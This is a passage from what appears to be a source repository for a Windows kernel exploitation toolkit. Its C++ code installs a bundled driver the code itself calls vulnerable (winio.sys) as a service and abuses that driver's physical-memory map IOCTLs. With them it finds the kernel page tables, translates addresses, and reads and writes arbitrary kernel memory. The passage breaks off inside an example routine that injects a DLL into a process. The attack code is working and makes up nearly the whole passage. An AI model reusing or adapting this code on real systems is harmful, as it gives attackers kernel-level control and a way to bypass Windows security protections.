{01DA4344-6C0C-4692-9542-D2E895AA4AFB} = {01DA4344-6C0C-4692-9542-D2E895AA4AFB} 21 | {9244F175-9960-47FB-A197-F717D5C2C370} = {9244F175-9960-47FB-A197-F717D5C2C370} 22 | EndProjectSection 23 | EndProject 24 | Global 25 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 26 | Debug|x64 = Debug|x64 27 | Release|x64 = Release|x64 28 | EndGlobalSection 29 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 30 | {9244F175-9960-47FB-A197-F717D5C2C370}.Debug|x64.ActiveCfg = Debug|x64 31 | {9244F175-9960-47FB-A197-F717D5C2C370}.Debug|x64.Build.0 = Debug|x64 32 | {9244F175-9960-47FB-A197-F717D5C2C370}.Release|x64.ActiveCfg = Release|x64 33 | {9244F175-9960-47FB-A197-F717D5C2C370}.Release|x64.Build.0 = Release|x64 34 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}.Debug|x64.ActiveCfg = Debug|x64 35 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}.Debug|x64.Build.0 = Debug|x64 36 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}.Release|x64.ActiveCfg = Release|x64 37 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB}.Release|x64.Build.0 = Release|x64 38 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}.Debug|x64.ActiveCfg = Debug|x64 39 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}.Debug|x64.Build.0 = Debug|x64 40 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}.Release|x64.ActiveCfg = Release|x64 41 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC}.Release|x64.Build.0 = Release|x64 42 | {60067986-A909-433D-9699-0E00FE13E16E}.Debug|x64.ActiveCfg = Debug|x64 43 | {60067986-A909-433D-9699-0E00FE13E16E}.Debug|x64.Build.0 = Debug|x64 44 | {60067986-A909-433D-9699-0E00FE13E16E}.Release|x64.ActiveCfg = Release|x64 45 | {60067986-A909-433D-9699-0E00FE13E16E}.Release|x64.Build.0 = Release|x64 46 | {548848C6-A540-47C8-8C2F-C3B309ED331B}.Debug|x64.ActiveCfg = Debug|x64 47 | {548848C6-A540-47C8-8C2F-C3B309ED331B}.Debug|x64.Build.0 = Debug|x64 48 | {548848C6-A540-47C8-8C2F-C3B309ED331B}.Release|x64.ActiveCfg = Release|x64 49 | {548848C6-A540-47C8-8C2F-C3B309ED331B}.Release|x64.Build.0 = Release|x64 50 | EndGlobalSection 51 | GlobalSection(SolutionProperties) = preSolution 52 | HideSolutionNode = FALSE 53 | EndGlobalSection 54 | EndGlobal 55 | -------------------------------------------------------------------------------- /kforge/kforge.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | BOOL APIENTRY DllMain( 4 | HMODULE hModule, 5 | DWORD ul_reason_for_call, 6 | LPVOID lpReserved) 7 | { 8 | switch (ul_reason_for_call) 9 | { 10 | case DLL_PROCESS_ATTACH: 11 | 12 | // initialize kforge library 13 | return KfInit(); 14 | 15 | case DLL_PROCESS_DETACH: 16 | 17 | // uninitialize kforge library 18 | return KfUninit(); 19 | } 20 | 21 | return TRUE; 22 | } 23 | -------------------------------------------------------------------------------- /kforge/kforge.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | 3 | KfCall 4 | KfCallAddr 5 | KfHeapAlloc 6 | KfHeapAllocData 7 | KfHeapFree 8 | KfMemCopy 9 | KfGetSyscallNumber 10 | KfGetKernelProcAddress 11 | KfGetKernelZwProcAddress 12 | -------------------------------------------------------------------------------- /kforge/kforge.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {548848C6-A540-47C8-8C2F-C3B309ED331B} 15 | Win32Proj 16 | kforge 17 | 18 | 19 | 20 | DynamicLibrary 21 | true 22 | v120 23 | Unicode 24 | 25 | 26 | DynamicLibrary 27 | false 28 | v120 29 | true 30 | Unicode 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | true 44 | false 45 | 46 | 47 | false 48 | false 49 | 50 | 51 | 52 | 53 | 54 | Level3 55 | Disabled 56 | WIN32;_DEBUG;_WINDOWS;_USRDLL;KFORGE_EXPORTS;%(PreprocessorDefinitions) 57 | $(SolutionDir);$(ProjectDir) 58 | MultiThreadedDebug 59 | 60 | 61 | Windows 62 | true 63 | $(SolutionDir)$(TargetName).pdb 64 | $(SolutionDir)$(TargetName)$(TargetExt) 65 | /DEF:kforge.def %(AdditionalOptions) 66 | ..\kforge_driver.lib;..\kforge_library.lib;%(AdditionalDependencies) 67 | 68 | 69 | 70 | 71 | Level3 72 | 73 | 74 | MaxSpeed 75 | true 76 | true 77 | WIN32;NDEBUG;_WINDOWS;_USRDLL;KFORGE_EXPORTS;%(PreprocessorDefinitions) 78 | MultiThreaded 79 | $(SolutionDir);$(ProjectDir) 80 | 81 | 82 | Windows 83 | true 84 | true 85 | true 86 | ..\kforge_driver.lib;..\kforge_library.lib;%(AdditionalDependencies) 87 | $(SolutionDir)$(TargetName).pdb 88 | $(SolutionDir)$(TargetName)$(TargetExt) 89 | /DEF:kforge.def %(AdditionalOptions) 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | false 99 | 100 | 101 | false 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /kforge/kforge.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | -------------------------------------------------------------------------------- /kforge/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "targetver.h" 4 | 5 | #include 6 | 7 | #include "include/kforge_library.h" 8 | -------------------------------------------------------------------------------- /kforge/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /kforge_driver.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge_driver.lib -------------------------------------------------------------------------------- /kforge_driver/kforge_driver.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | // winio.sys driver binary 4 | #include "winio_sys.h" 5 | 6 | /* 7 | PROCESSOR_START_BLOCK is allocated by winload.efi, so it could be 8 | anywhere in the low memory. 9 | */ 10 | #define PROCESSOR_START_BLOCK_MIN 0 11 | #define PROCESSOR_START_BLOCK_MAX 0x10000 12 | 13 | #pragma pack(push, 2) 14 | 15 | typedef struct _FAR_JMP_16 16 | { 17 | BYTE OpCode; // = 0xe9 18 | WORD Offset; 19 | 20 | } FAR_JMP_16; 21 | 22 | typedef struct _PSEUDO_DESCRIPTOR_32 23 | { 24 | WORD Limit; 25 | DWORD Base; 26 | 27 | } PSEUDO_DESCRIPTOR_32; 28 | 29 | #pragma pack(pop) 30 | 31 | typedef struct _PROCESSOR_START_BLOCK *PPROCESSOR_START_BLOCK; 32 | typedef struct _PROCESSOR_START_BLOCK 33 | { 34 | // The block starts with a jmp instruction to the end of the block 35 | FAR_JMP_16 Jmp; 36 | 37 | // Completion flag is set to non-zero when the target processor has 38 | // started 39 | DWORD CompletionFlag; 40 | 41 | // Pseudo descriptors for GDT and IDT 42 | PSEUDO_DESCRIPTOR_32 Gdt32; 43 | PSEUDO_DESCRIPTOR_32 Idt32; 44 | 45 | // ... 46 | 47 | } PROCESSOR_START_BLOCK, 48 | *PPROCESSOR_START_BLOCK; 49 | 50 | // other fields offsets 51 | #define PROCESSOR_START_BLOCK_HalpLMStub 0x70 52 | #define PROCESSOR_START_BLOCK_Cr3 0xa0 53 | 54 | // PML4 base of the kernel virtual address space 55 | static DWORD_PTR m_PML4_Addr = 0; 56 | 57 | // loldriver device handle 58 | static HANDLE m_hDevice = NULL; 59 | //-------------------------------------------------------------------------------------- 60 | static BOOL DriverInitPageTableBase(PDWORD_PTR pPML4_Addr) 61 | { 62 | BOOL bRet = FALSE; 63 | 64 | // allocate memory to read PROCESSOR_START_BLOCK 65 | PUCHAR Data = (PUCHAR)M_ALLOC(PAGE_SIZE); 66 | if (Data == NULL) 67 | { 68 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); 69 | return FALSE; 70 | } 71 | 72 | // find an exact location of the PROCESSOR_START_BLOCK 73 | for (DWORD_PTR Addr = PROCESSOR_START_BLOCK_MIN; 74 | Addr < PROCESSOR_START_BLOCK_MAX; Addr += PAGE_SIZE) 75 | { 76 | if (WinioPhysRead(m_hDevice, Addr, PAGE_SIZE, Data)) 77 | { 78 | PPROCESSOR_START_BLOCK Info = (PPROCESSOR_START_BLOCK)Data; 79 | 80 | // get page table address and HalpLMStub address 81 | DWORD_PTR PML4_Addr = *(DWORD_PTR *)(Data + PROCESSOR_START_BLOCK_Cr3); 82 | DWORD_PTR HalpLMStub = *(DWORD_PTR *)(Data + PROCESSOR_START_BLOCK_HalpLMStub); 83 | 84 | // check for the sane values 85 | if (Info->Jmp.OpCode != 0xe9 || Info->CompletionFlag != 1 || HalpLMStub == 0 || PML4_Addr == 0) 86 | { 87 | // looks bad 88 | continue; 89 | } 90 | 91 | DbgMsg(__FILE__, __LINE__, "PROCESSOR_START_BLOCK is at "IFMT"\n", Addr); 92 | DbgMsg(__FILE__, __LINE__, "Kernel mode PML4 address is "IFMT"\n", PML4_Addr); 93 | 94 | if (pPML4_Addr) 95 | { 96 | *pPML4_Addr = PML4_Addr; 97 | } 98 | 99 | bRet = TRUE; 100 | break; 101 | } 102 | else 103 | { 104 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n"); 105 | break; 106 | } 107 | } 108 | 109 | M_FREE(Data); 110 | 111 | return bRet; 112 | } 113 | //-------------------------------------------------------------------------------------- 114 | static BOOL DriverVirtToPhys(DWORD_PTR PML4_Addr, PVOID AddrVirt, PDWORD_PTR pAddrPhys) 115 | { 116 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4_entry; 117 | 118 | DWORD_PTR AddrPhys = PML4_ADDRESS(PML4_Addr) + PML4_INDEX(AddrVirt) * sizeof(DWORD64); 119 | 120 | if (m_hDevice == NULL) 121 | { 122 | // not initialized 123 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n"); 124 | return FALSE; 125 | } 126 | 127 | // read PML4 entry 128 | if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PML4_entry), &PML4_entry.Uint64)) 129 | { 130 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n"); 131 | return FALSE; 132 | } 133 | 134 | // check if PML4 entry is present 135 | if (PML4_entry.Bits.Present == 0) 136 | { 137 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PML4E for "IFMT" is not present\n", AddrVirt); 138 | return FALSE; 139 | } 140 | 141 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPT_entry; 142 | 143 | AddrPhys = PFN_TO_PAGE(PML4_entry.Bits.PageTableBaseAddress) + PDPT_INDEX(AddrVirt) * sizeof(DWORD64); 144 | 145 | // read PDPT entry 146 | if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PDPT_entry), &PDPT_entry.Uint64)) 147 | { 148 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n"); 149 | return FALSE; 150 | } 151 | 152 | // check if PDPT entry is present 153 | if (PDPT_entry.Bits.Present == 0) 154 | { 155 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PDPTE for "IFMT" is not present\n", AddrVirt); 156 | return FALSE; 157 | } 158 | 159 | // check for page size flag 160 | if ((PDPT_entry.Uint64 & PDPTE_PDE_PS) == 0) 161 | { 162 | X64_PAGE_DIRECTORY_ENTRY_4K PD_entry; 163 | 164 | AddrPhys = PFN_TO_PAGE(PDPT_entry.Bits.PageTableBaseAddress) + PDE_INDEX(AddrVirt) * sizeof(DWORD64); 165 | 166 | // read PD entry 167 | if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PD_entry), &PD_entry.Uint64)) 168 | { 169 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n"); 170 | return FALSE; 171 | } 172 | 173 | // check if PD entry is present 174 | if (PD_entry.Bits.Present == 0) 175 | { 176 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PDE for "IFMT" is not present\n", AddrVirt); 177 | return FALSE; 178 | } 179 | 180 | // check for page size flag 181 | if ((PD_entry.Uint64 & PDPTE_PDE_PS) == 0) 182 | { 183 | X64_PAGE_TABLE_ENTRY_4K PT_entry; 184 | 185 | AddrPhys = PFN_TO_PAGE(PD_entry.Bits.PageTableBaseAddress) + PTE_INDEX(AddrVirt) * sizeof(DWORD64); 186 | 187 | // read PT entry 188 | if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PD_entry), &PT_entry.Uint64)) 189 | { 190 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n"); 191 | return FALSE; 192 | } 193 | 194 | // check if PT entry is present 195 | if (PT_entry.Bits.Present) 196 | { 197 | // calculate 4Kb page address 198 | *pAddrPhys = PFN_TO_PAGE(PT_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_4K(AddrVirt); 199 | return TRUE; 200 | } 201 | else 202 | { 203 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PTE for "IFMT" is not present\n", AddrVirt); 204 | } 205 | } 206 | else 207 | { 208 | // calculate 2Mb page address 209 | *pAddrPhys = PFN_TO_PAGE(PD_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_2M(AddrVirt); 210 | return TRUE; 211 | } 212 | } 213 | else 214 | { 215 | // calculate 1Gb page address 216 | *pAddrPhys = PFN_TO_PAGE(PDPT_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_1G(AddrVirt); 217 | return TRUE; 218 | } 219 | 220 | return FALSE; 221 | } 222 | //-------------------------------------------------------------------------------------- 223 | BOOL DriverInit(void) 224 | { 225 | BOOL bStarted = FALSE; 226 | char szFilePath[MAX_PATH]; 227 | 228 | if (m_hDevice != NULL) 229 | { 230 | // already initialized 231 | return TRUE; 232 | } 233 | 234 | if (!LoadPrivileges(SE_LOAD_DRIVER_NAME)) 235 | { 236 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LoadPrivileges() fails\n"); 237 | return FALSE; 238 | } 239 | 240 | // make driver file path 241 | GetSystemDirectory(szFilePath, MAX_PATH); 242 | strcat_s(szFilePath, "\\drivers\\" WINIO_DRIVER_NAME); 243 | 244 | // first try to start already existing service 245 | if (!(bStarted = ServiceStart(WINIO_SERVICE_NAME, szFilePath, FALSE))) 246 | { 247 | // copy driver into the drivers directory 248 | if (DumpToFile(szFilePath, winio_sys, sizeof(winio_sys))) 249 | { 250 | // try to create new service 251 | if (!(bStarted = ServiceStart(WINIO_SERVICE_NAME, szFilePath, TRUE))) 252 | { 253 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ServiceStart() fails\n"); 254 | 255 | // remove driver 256 | DeleteFile(szFilePath); 257 | } 258 | } 259 | else 260 | { 261 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DumpToFile() fails\n"); 262 | } 263 | } 264 | 265 | if (bStarted) 266 | { 267 | // get handle of the target device 268 | if ((m_hDevice = CreateFile( 269 | WINIO_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0, 270 | NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE) 271 | { 272 | DbgMsg(__FILE__, __LINE__, "%s kernel driver was successfully loaded\n", WINIO_DRIVER_NAME); 273 | 274 | // initialize PML4 address 275 | if (DriverInitPageTableBase(&m_PML4_Addr)) 276 | { 277 | return TRUE; 278 | } 279 | else 280 | { 281 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInitPageTableBase() fails\n"); 282 | } 283 | 284 | CloseHandle(m_hDevice); 285 | m_hDevice = NULL; 286 | } 287 | 288 | // remove service 289 | ServiceStop(WINIO_SERVICE_NAME); 290 | ServiceRemove(WINIO_SERVICE_NAME); 291 | 292 | // remove driver 293 | DeleteFile(szFilePath); 294 | } 295 | 296 | return FALSE; 297 | } 298 | //-------------------------------------------------------------------------------------- 299 | BOOL DriverUninit(void) 300 | { 301 | char szFilePath[MAX_PATH]; 302 | 303 | if (m_hDevice == NULL) 304 | { 305 | // not initialized 306 | return TRUE; 307 | } 308 | 309 | CloseHandle(m_hDevice); 310 | m_hDevice = NULL; 311 | 312 | // make driver file path 313 | GetSystemDirectory(szFilePath, MAX_PATH); 314 | strcat_s(szFilePath, "\\drivers\\" WINIO_DRIVER_NAME); 315 | 316 | // remove service 317 | ServiceStop(WINIO_SERVICE_NAME); 318 | ServiceRemove(WINIO_SERVICE_NAME); 319 | 320 | // remove driver 321 | DeleteFile(szFilePath); 322 | 323 | return TRUE; 324 | } 325 | //-------------------------------------------------------------------------------------- 326 | BOOL DriverMemWrite(PVOID Addr, PVOID Data, DWORD_PTR DataSize) 327 | { 328 | DWORD_PTR AddrPhys = 0; 329 | 330 | if (m_hDevice == NULL) 331 | { 332 | // not initialized 333 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n"); 334 | return FALSE; 335 | } 336 | 337 | // translate virtual address to physical 338 | if (DriverVirtToPhys(m_PML4_Addr, Addr, &AddrPhys)) 339 | { 340 | // write to the physical memory location 341 | if (WinioPhysWrite(m_hDevice, AddrPhys, DataSize, Data)) 342 | { 343 | return TRUE; 344 | } 345 | } 346 | 347 | return FALSE; 348 | } 349 | //-------------------------------------------------------------------------------------- 350 | BOOL DriverMemRead(PVOID Addr, PVOID Data, DWORD_PTR DataSize) 351 | { 352 | DWORD_PTR AddrPhys = 0; 353 | 354 | if (m_hDevice == NULL) 355 | { 356 | // not initialized 357 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n"); 358 | return FALSE; 359 | } 360 | 361 | // translate virtual address to physical 362 | if (DriverVirtToPhys(m_PML4_Addr, Addr, &AddrPhys)) 363 | { 364 | // read from the physical memory location 365 | if (WinioPhysRead(m_hDevice, AddrPhys, DataSize, Data)) 366 | { 367 | return TRUE; 368 | } 369 | } 370 | 371 | return FALSE; 372 | } 373 | //-------------------------------------------------------------------------------------- 374 | // EoF 375 | -------------------------------------------------------------------------------- /kforge_driver/kforge_driver.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | {9244F175-9960-47FB-A197-F717D5C2C370} 31 | Win32Proj 32 | kforge_driver 33 | 34 | 35 | 36 | StaticLibrary 37 | true 38 | v120 39 | MultiByte 40 | 41 | 42 | StaticLibrary 43 | false 44 | v120 45 | true 46 | MultiByte 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | Level3 64 | Disabled 65 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) 66 | MultiThreadedDebug 67 | $(SolutionDir);$(ProjectDir) 68 | /D DBG %(AdditionalOptions) 69 | 70 | 71 | Windows 72 | true 73 | 74 | 75 | $(SolutionDir)$(TargetName)$(TargetExt) 76 | 77 | 78 | pre_build.bat 79 | 80 | 81 | 82 | 83 | Level3 84 | 85 | 86 | MaxSpeed 87 | true 88 | true 89 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) 90 | $(SolutionDir);$(ProjectDir) 91 | MultiThreaded 92 | /D DBG %(AdditionalOptions) 93 | 94 | 95 | Windows 96 | true 97 | true 98 | true 99 | 100 | 101 | $(SolutionDir)$(TargetName)$(TargetExt) 102 | 103 | 104 | pre_build.bat 105 | 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /kforge_driver/kforge_driver.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {d4d8c19d-1de9-45ef-8245-96b4b2e4d1a7} 18 | 19 | 20 | {ab0716b7-ca2c-43f5-ae9f-7027030574be} 21 | 22 | 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files\common 32 | 33 | 34 | 35 | 36 | Header Files\common 37 | 38 | 39 | Header Files\common 40 | 41 | 42 | Header Files\common 43 | 44 | 45 | Header Files\common 46 | 47 | 48 | Header Files\common 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | Header Files\common 61 | 62 | 63 | -------------------------------------------------------------------------------- /kforge_driver/pre_build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | python ..\tools\make_header.py --input ..\winio.sys --output winio_sys.h --name winio_sys 3 | pause 4 | -------------------------------------------------------------------------------- /kforge_driver/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma warning(disable: 4996) 2 | 3 | #include 4 | #include 5 | 6 | #include "common/ntdll_defs.h" 7 | #include "common/ntdll_undocnt.h" 8 | #include "common/common.h" 9 | #include "common/debug.h" 10 | #include "common/virtmem.h" 11 | #include "common/service.h" 12 | 13 | #include "include/kforge_driver.h" 14 | 15 | #include "winio.h" 16 | -------------------------------------------------------------------------------- /kforge_driver/winio.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | //-------------------------------------------------------------------------------------- 3 | static BOOL WinioPhysMap( 4 | HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, 5 | HANDLE *phSection, PVOID *pSectionAddr, PVOID *pObjectAddr) 6 | { 7 | DWORD dwSize = 0; 8 | WINIO_PHYS_MEM Request; 9 | 10 | ZeroMemory(&Request, sizeof(Request)); 11 | 12 | Request.Size = Size; 13 | Request.Addr = Addr; 14 | 15 | // send physical memory map request 16 | if (DeviceIoControl( 17 | hDevice, IOCTL_WINIO_PHYS_MEM_MAP, 18 | &Request, sizeof(Request), &Request, sizeof(Request), &dwSize, NULL)) 19 | { 20 | *phSection = Request.hSection; 21 | *pObjectAddr = Request.ObjectAddr; 22 | *pSectionAddr = Request.SectionAddr; 23 | 24 | return TRUE; 25 | } 26 | else 27 | { 28 | DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError()); 29 | } 30 | 31 | return FALSE; 32 | } 33 | //-------------------------------------------------------------------------------------- 34 | static BOOL WinioPhysUnmap(HANDLE hDevice, HANDLE hSection, PVOID SectionAddr, PVOID ObjectAddr) 35 | { 36 | DWORD dwSize = 0; 37 | WINIO_PHYS_MEM Request; 38 | 39 | ZeroMemory(&Request, sizeof(Request)); 40 | 41 | Request.hSection = hSection; 42 | Request.SectionAddr = SectionAddr; 43 | Request.ObjectAddr = ObjectAddr; 44 | 45 | // send physical memory unmap request 46 | if (DeviceIoControl( 47 | hDevice, IOCTL_WINIO_PHYS_MEM_UNMAP, 48 | &Request, sizeof(Request), &Request, sizeof(Request), &dwSize, NULL)) 49 | { 50 | return TRUE; 51 | } 52 | else 53 | { 54 | DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError()); 55 | } 56 | 57 | return FALSE; 58 | } 59 | //-------------------------------------------------------------------------------------- 60 | BOOL WinioPhysRead(HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, PVOID Data) 61 | { 62 | BOOL bRet = FALSE; 63 | HANDLE hSection = NULL; 64 | PVOID SectionAddr = NULL, ObjectAddr = NULL; 65 | 66 | // map physical memory region 67 | if (!WinioPhysMap(hDevice, Addr, Size, &hSection, &SectionAddr, &ObjectAddr)) 68 | { 69 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemMap() fails\n"); 70 | return FALSE; 71 | } 72 | 73 | __try 74 | { 75 | // perform memory read operation 76 | bRet = memcpy(Data, SectionAddr, Size) != NULL; 77 | } 78 | __finally 79 | { 80 | // unmap physical memory region 81 | WinioPhysUnmap(hDevice, hSection, SectionAddr, ObjectAddr); 82 | } 83 | 84 | return bRet; 85 | } 86 | //-------------------------------------------------------------------------------------- 87 | BOOL WinioPhysWrite(HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, PVOID Data) 88 | { 89 | BOOL bRet = FALSE; 90 | HANDLE hSection = NULL; 91 | PVOID SectionAddr = NULL, ObjectAddr = NULL; 92 | 93 | // map physical memory region 94 | if (!WinioPhysMap(hDevice, Addr, Size, &hSection, &SectionAddr, &ObjectAddr) != 0) 95 | { 96 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemMap() fails\n"); 97 | return FALSE; 98 | } 99 | 100 | __try 101 | { 102 | // perform memory write operation 103 | bRet = memcpy(SectionAddr, Data, Size) != NULL; 104 | } 105 | __finally 106 | { 107 | // unmap physical memory region 108 | WinioPhysUnmap(hDevice, hSection, SectionAddr, ObjectAddr); 109 | } 110 | 111 | return bRet; 112 | } 113 | //-------------------------------------------------------------------------------------- 114 | // EoF 115 | -------------------------------------------------------------------------------- /kforge_driver/winio.h: -------------------------------------------------------------------------------- 1 | 2 | // vulnerable driver device name 3 | #define WINIO_DEVICE_PATH "\\\\.\\Global\\EneIo" 4 | 5 | // vulnerable driver service and file name 6 | #define WINIO_DRIVER_NAME "winio.sys" 7 | #define WINIO_SERVICE_NAME "winio" 8 | 9 | #define FILE_DEVICE_WINIO 0x00008010 10 | 11 | // map physical memory region 12 | #define IOCTL_WINIO_PHYS_MEM_MAP CTL_CODE(FILE_DEVICE_WINIO, 0x00000810, METHOD_BUFFERED, FILE_ANY_ACCESS) 13 | 14 | // unmap physical memory region 15 | #define IOCTL_WINIO_PHYS_MEM_UNMAP CTL_CODE(FILE_DEVICE_WINIO, 0x00000811, METHOD_BUFFERED, FILE_ANY_ACCESS) 16 | 17 | typedef struct _WINIO_PHYS_MEM 18 | { 19 | DWORD_PTR Size; 20 | DWORD_PTR Addr; 21 | HANDLE hSection; 22 | PVOID SectionAddr; 23 | PVOID ObjectAddr; 24 | 25 | } WINIO_PHYS_MEM, 26 | *PWINIO_PHYS_MEM; 27 | 28 | 29 | BOOL WinioPhysRead(HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, PVOID Data); 30 | BOOL WinioPhysWrite(HANDLE hDevice, DWORD_PTR Addr, DWORD_PTR Size, PVOID Data); 31 | -------------------------------------------------------------------------------- /kforge_example.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge_example.exe -------------------------------------------------------------------------------- /kforge_example.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge_example.pdb -------------------------------------------------------------------------------- /kforge_example/func_order.txt: -------------------------------------------------------------------------------- 1 | dll_inject_Entry 2 | dll_inject_CalcHash 3 | dll_inject_GetModuleAddressByHash 4 | dll_inject_GetProcAddressByHash 5 | dll_inject_ProcessImports 6 | dll_inject_End 7 | -------------------------------------------------------------------------------- /kforge_example/kforge_example.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | //-------------------------------------------------------------------------------------- 3 | BOOL DllInject(HANDLE ProcessId, PVOID Data, DWORD dwDataSize) 4 | { 5 | BOOL bRet = FALSE; 6 | 7 | PVOID Image = NULL; 8 | DWORD dwImageSize = 0; 9 | 10 | DWORD_PTR Status = STATUS_UNSUCCESSFUL; 11 | HANDLE hProcess = NULL, hThread = NULL; 12 | PVOID ImageAddr = NULL, ShellcodeAddr = NULL; 13 | SIZE_T ImageSize = 0, InjectStructSize = 0; 14 | 15 | // map image sections to the memory 16 | if (!LdrMapImage(Data, dwDataSize, &Image, &dwImageSize)) 17 | { 18 | DbgMsg(__FILE__, __LINE__, "ERROR: LdrMapImage() fails\n"); 19 | return FALSE; 20 | } 21 | 22 | // calculate shellcode and 